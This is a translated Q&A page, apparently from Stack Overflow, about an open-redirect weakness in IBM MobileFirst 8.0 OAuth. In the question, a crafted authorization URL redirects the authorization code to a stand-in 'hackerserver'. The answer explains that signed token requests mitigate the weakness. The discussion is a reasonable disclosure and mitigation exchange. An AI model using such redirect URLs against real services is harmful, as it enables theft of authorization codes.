IBM Mobile First 8.0 oAuth - 授权码交付到非预期服务器

Posted

技术标签:

【中文标题】IBM Mobile First 8.0 oAuth - 授权码交付到非预期服务器【英文标题】:IBM Mobile First 8.0 oAuth - Authorization code delivered to unintended server 【发布时间】:2016-12-29 11:33:50 【问题描述】:

我通过安全检查 (UserAuthSecurityCheck) 登录到应用程序。

我为授权端点构建了一个 URL,并将 redirect_uri 更改为不同的服务器(黑客服务器)。

http://mobilefirstserver:port/mfp/api/az/v1/authorization?response_type=code&client_id=CLIENT_ID&scope=UserAuthSecurityCheck&redirect_uri=http://hackerserver:port/context/getdata

当我提出这个请求时,它会将授权码传递给黑客服务器。 http://hackerserver:port/context/getdata?code=authorization_code

现在我可以在黑客服务器中访问这个授权码了。

我相信黑客可以利用这一点,他让你点击不同浏览器选项卡中的链接,并且能够执行对授权端点的请求。

为什么没有在“redirect_uri”框架中加入白名单?

如何缓解这个问题?

根据 oAuth 规范,必须避免打开重定向 https://www.rfc-editor.org/rfc/rfc6749#section-10.15

【问题讨论】:

【参考方案1】:

您是对的,我们没有将 redirect_uri 列入白名单,但是,MobileFirst Server 正在通过强制对令牌请求(使用授权代码)进行签名来缓解此漏洞 - 从而使攻击无效。

免责声明:我是 IBM MobileFirst Foundation 团队的开发人员。

【讨论】:

感谢您的回答。但我仍然看到这种方法存在问题。我可以更改“redirect_uri”并将授权码发送到不同的服务器。如果我在不同的服务器中获得授权码。我可以使用此授权码到达令牌端点以获取访问令牌。因此,授权码是签名还是未签名都没有关系。因为 MF 服务器是提供授权码的服务器。 客户端需要用自己的私钥对代码进行签名,并在发布令牌之前在服务器中进行验证,所以单独的授权码是没有用的。

以上是关于IBM Mobile First 8.0 oAuth - 授权码交付到非预期服务器的主要内容,如果未能解决你的问题,请参考以下文章

使用 IBM API Manager 和 IBM Mobile First 的 OAuth

IBM Mobile First Push Notification 安全测试

注册客户 IBM Mobile First 时出错

使用 IBM Mobile First Platform 生成 APK

IBM Mobile First - mfpdev-cli 安装失败

IBM Mobile First Platform - 从适配器发送推送通知